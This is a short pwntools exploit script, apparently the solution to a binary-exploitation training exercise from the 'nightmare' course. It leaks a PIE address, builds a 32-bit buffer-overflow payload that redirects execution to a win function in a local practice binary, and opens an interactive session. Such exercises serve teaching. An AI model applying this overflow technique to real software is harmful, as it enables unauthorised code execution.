# +------------------------------------------------+
# | Atack: Bof Win Function Infoleak               |
# +------------------------------------------------+
#
# For more info checkout: https://github.com/guyinatuxedo/nightmare/tree/master/modules/05-bof_callfunction

# +------------------------------------------------+
# | Atack: Bof Win Function                        |
# +------------------------------------------------+
#
# For more info checkout: https://github.com/guyinatuxedo/nightmare/tree/master/modules/05-bof_callfunction

from pwn import *
import time
import sf

target = process("./Correction-BofFuncWInfoleak-x86")
gdb.attach(target)

bof_payload = sf.BufferOverflow(arch=32)

target.recvuntil("Stop drop and roll: ")
leak = int(target.recvline().strip(b"\n"), 16)
pie_base = leak - (4700)
bof_payload.add_base("pie", pie_base)
bof_payload.set_input_start(0x24)
bof_payload.add_int32(0x10, 0xfacade)
bof_payload.set_ret(0x122d, "pie")
payload = bof_payload.generate_payload()
target.sendline(payload)


target.interactive()

# +------------------------------------------------+
# | Artist: Avenged Sevenfold                      |
# +------------------------------------------------+
# | Song: Welcome to the Family                    |
# +------------------------------------------------+
# | There is no way,                               |
# | to rationalize                                 |
# +------------------------------------------------+

